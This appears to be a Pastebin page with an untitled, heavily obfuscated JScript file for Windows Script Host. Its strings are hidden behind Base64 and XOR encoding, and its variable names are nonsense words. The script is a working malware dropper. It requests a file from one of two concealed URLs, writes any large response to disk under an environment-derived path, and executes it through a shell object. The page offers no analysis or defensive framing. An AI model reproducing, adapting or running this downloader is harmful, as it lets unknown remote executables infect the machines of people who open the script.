Advertisement
Guest User

Untitled

a guest
Feb 6th, 2016
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.45 KB | None | 0 0
  1. var decode = function (packedText) {
  2. var cipher ="ErdUaRQEan6voNdM";
  3.  
  4. var Base64 = {
  5. _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
  6.  
  7. decode: function (input) {
  8. var output = "";
  9. var chr1, chr2, chr3;
  10. var enc1, enc2, enc3, enc4;
  11. var i = 0;
  12.  
  13. input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  14.  
  15. while (i < input.length) {
  16.  
  17. enc1 = this._keyStr.indexOf(input.charAt(i++));
  18. enc2 = this._keyStr.indexOf(input.charAt(i++));
  19. enc3 = this._keyStr.indexOf(input.charAt(i++));
  20. enc4 = this._keyStr.indexOf(input.charAt(i++));
  21.  
  22. chr1 = (enc1 << 2) | (enc2 >> 4);
  23. chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  24. chr3 = ((enc3 & 3) << 6) | enc4;
  25.  
  26. output = output + String.fromCharCode(chr1);
  27.  
  28. if (enc3 != 64) {
  29. output = output + String.fromCharCode(chr2);
  30. }
  31. if (enc4 != 64) {
  32. output = output + String.fromCharCode(chr3);
  33. }
  34.  
  35. }
  36.  
  37. output = Base64._utf8_decode(output);
  38.  
  39. return output;
  40.  
  41. },
  42. _utf8_decode: function (utftext) {
  43. var string = "";
  44. var i = 0;
  45. var c = c1 = c2 = 0;
  46.  
  47. while (i < utftext.length) {
  48.  
  49. c = utftext.charCodeAt(i);
  50.  
  51. if (c < 128) {
  52. string += String.fromCharCode(c);
  53. i++;
  54. }
  55. else if ((c > 191) && (c < 224)) {
  56. c2 = utftext.charCodeAt(i + 1);
  57. string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
  58. i += 2;
  59. }
  60. else {
  61. c2 = utftext.charCodeAt(i + 1);
  62. c3 = utftext.charCodeAt(i + 2);
  63. string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
  64. i += 3;
  65. }
  66.  
  67. }
  68. return string;
  69. }
  70. };
  71.  
  72. var text = Base64.decode(packedText);
  73.  
  74. var cipherLength = cipher.length;
  75. var result = "";
  76. for (var i = 0; i < text.length; i++) {
  77. result += String.fromCharCode(text.charCodeAt(i) ^ cipher.charCodeAt(i % cipherLength));
  78. }
  79. return result;
  80. };
  81. (function() {
  82. var reactionarylpE = 200;
  83. var admonishPuh = decode('"Ajcw"');
  84. var doggedtVQ = decode('"AAoBNg=="');
  85. var debaclecLW = decode('"EiEHJwgiJWsyBlMaAw=="');
  86. var decorumeUW = decode('"CCE8GC1gfx0sIn4iOx4="');
  87. var latitudeWG8 = decode('"BDYrESM="');
  88. var cajolehNw = decode('"FgYWMAA/"');
  89. var dyspepticAWP = decode('"YCYhGDF3DQ=="');
  90. var iconoclastjzB = decode('"axccMA=="');
  91. var lodeWWG = 2e5;
  92. var librettodFv = [ decode('"LQYQJVt9fi0EAloZGCEWISEDFSRPMT4oTlcFWAo2AQ=="'), decode('"LQYQJVt9fjIVCF8FCCENIyIaAScENDdrAgFbWVZ9Sig9Fw=="') ];
  93. var patronizeyDX = 524288;
  94. var rampartIf9 = WScript.CreateObject(debaclecLW);
  95. var ensuewuy = WScript.CreateObject(decorumeUW);
  96. var notwithstandingrpV = WScript.CreateObject(latitudeWG8 + decode('"aw=="') + cajolehNw);
  97. var homilys5o = rampartIf9.ExpandEnvironmentStrings(dyspepticAWP);
  98. var halcyonouK = homilys5o + patronizeyDX + iconoclastjzB;
  99. var errantNaM = false;
  100. for (var whittlerOi = 0; whittlerOi < librettodFv.length; whittlerOi++) {
  101. try {
  102. var baneyhs = librettodFv[whittlerOi];
  103. ensuewuy.open(admonishPuh, baneyhs, false);
  104. ensuewuy.send();
  105. if (ensuewuy.status == reactionarylpE) {
  106. try {
  107. notwithstandingrpV.open();
  108. notwithstandingrpV.type = 1;
  109. notwithstandingrpV.write(ensuewuy.responseBody);
  110. if (notwithstandingrpV.size > lodeWWG) {
  111. whittlerOi = librettodFv.length;
  112. notwithstandingrpV.position = 0;
  113. notwithstandingrpV.saveToFile(halcyonouK, 2);
  114. errantNaM = true;
  115. }
  116. } finally {
  117. notwithstandingrpV.close();
  118. }
  119. }
  120. } catch (ignored) {}
  121. }
  122. if (errantNaM) {
  123. rampartIf9[doggedtVQ](homilys5o + Math.pow(2, 19));
  124. }
  125. })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement